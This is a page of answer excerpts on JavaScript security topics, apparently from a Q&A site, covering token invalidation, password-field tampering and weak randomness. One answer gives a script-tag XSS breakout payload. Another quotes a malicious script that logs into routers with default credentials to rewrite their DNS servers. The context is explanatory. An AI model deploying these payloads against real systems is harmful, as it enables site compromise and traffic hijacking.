New answers tagged

0

I don't believe there would be any way to invalidate the JWT without checking the database on every request. The best idea might be to issue access token JWT's with a short expiry time, and then make use of refresh tokens if you need the access token renewed. This way, although you can't invalidate the token immediately, at least it will only be usable ...


-1

Generate Key - 64+ Characters Email Key Hash the key using a pre-entered 4+ Digit Pin store that hash in a database table with 2 fields the hash and a field to say if the key has been tuurned in. User clicks the link (www.website.com/link.php?KEY={KEY}) Request the user enter a pin they assigned previously then hash the key along with a provided PIN in ...


0

Your question is very general and as far as I understand, nothing more than a regular authentication plus anonymization of the data. It is definitely possible to ensure non repudiation and anonymity by pseudonymization. What you refer to is a regular access control system which is included in most common frameworks. In case you need a more enterprise ...


0

You might be able to use divs and other elements to make your own text field, kinda like the text fields on google forms. If you did this, you could set it up so that as the user types, it just modifies the content of a encrypted JavaScript variable, and does not actually type in the text field.


-2

In Javascript, for already saved passwords, a way could be: on load: save the value of the input in a variable replace the value the input with a random sting with the same length on login click: replace the random value with the value that you saved in the variabe submit the form Remeber that: Someone can anyway read the password from the variable ...


3

How about </script><script>alert('xss');</script><script>/* ? JS parser will find the close script, and assume the original code is malformed. HTML parser will see the open script and start a new script block. The rest is just to make the rest of the block ignored. Note that it doesn't contain any of the characters you're ...


5

The bottom line is that you can't, but this is not as much of an issue as one might think. The thing to keep in mind is that when you change the source in a browser's debugger (which is what you're describing), it doesn't get saved anywhere. This means that the change only affects the machine the debugger is running on. I can't change the password field to ...


2

If you're really worried about this, you could do away with passwords entirely in your application. Have the user enter their username or email and send them an email with a temporary login link.


31

This sounds like a bad case of Security Theater Security theater is the practice of investing in countermeasures intended to provide the feeling of improved security while doing little or nothing to actually achieve it. I say this because in all reality... Given enough time, effort, and computing power security is nothing more than a delay. Of ...


3

You can not do this because all things are happening on the client side and he has almost full access to your code (html, css, javascript) using developer tools. So, he can pause or stop javascript.


10

There is no way to prevent an attacker doing this if they are already accessing the developer tools - they can simply pause the javascript and continue what they are doing. The best you may be able to do is clear the password box after a small amount of inactivity.


2

You can't. The form needs to be able to send the password to the server for validation. Even if you develop some kind of obfuscation technique (not recommended) then, like William Dunne said, you can simply pause/stop Javascript. You are trying to achieve security through obscurity, and it won't work.


0

You could: learn that specific apps are installed (meaning you can pretend to sell services related to said apps) learn that specific versions of apps are installed (based on diffs between versions, now you know if an exploit exists for the user's system) enumerate some hardware devices (does this or that file exist in /dev?, likewise hardware-specific ...


0

By simiplying checking for existance, actions with a lot of side effects could be triggered. For example, if you supply a UNC path, a Windows machine will have to connect to the server, which in the most trivial case can be turned into a DDoS attack. With more setup (and poor firewall), this can be used to steal NTLM password hash...


4

Pre-fetching as I understand it in Google Chrome performs things like DNS lookups and static content caching. In order to determine what static content to download, some parsing of the HTML document it pre-fetches must be conducted and it is known that browsers have been vulnerable to malicious HTML payloads in the past (Internet Explorer CSS and HTML ...


2

You could learn a lot of interesting information about the users system this way. This information could be used to find the correct exploit for the user, or just be collected or used as part of a system fingerprint to identify users (Even with another used browser). Detecting the OS would be extremely simple, but also the detection of used versions of ...


1

If you include any third party script in your page, the authors could potentially read any data on the page. That applies to Google Maps, any third party library hosts, advertising providers... If the data is sufficiently high risk to be worried about Google stealing it, don't use any third party scripts.


3

It attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "103.31.0.140"; var dnssecundario = "8.8.8.8"; document.write('<img src="hxxp://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary=' + dnsprimario + '&dnsSecondary=' + dnssecundario + ...


1

When you use a proxy, the ability of the server to prove its identity to your browser is broken. You can override this by the "confirm security exception" dialogs in your browser. I'm sure everyone reading this has had to do this at some point. So, you in effect told your browser to accept the identity of the main site (for example ...


2

What serious security threats are there that solely rely on the client JavaScript code that the browser allows? One risk are buggy implementations which can be used to crash the browser or execute code by using heap spraying attacks or similar. These can be kind of mitigated within modern browsers by using ASLR, DEP, sandboxes and similar techniques. ...


1

Don't do this. IPFS isn't secure. Someone between your user and the IPFS node might decide to intercept and change queries. There's also the issue that someone might change your files locally in IPFS. Anyone who gets their files from that host will receive malicious code. Someone could write a virus that changes the content of your files as they arrive on ...


1

You use CAPTCHA to prevent the use of automated scripts, sometimes called "bots". So you should add CAPTCHA to any part of your workflow that you are concerned will have problems from bots. Registration is one common place where this is done. You can't really add CAPTCHA to an API call as it is a web UI component. That said, you can add it to your website ...


8

Indeed, Math.random() is not cryptographically secure. Definition of Math.random() The definition of Math.random() in the ES6 specification left a lot of freedom about the implementation of the function in JavaScript engines: Returns a Number value with positive sign, greater than or equal to 0 but less than 1, chosen randomly or pseudo randomly with ...



Top 50 recent answers are included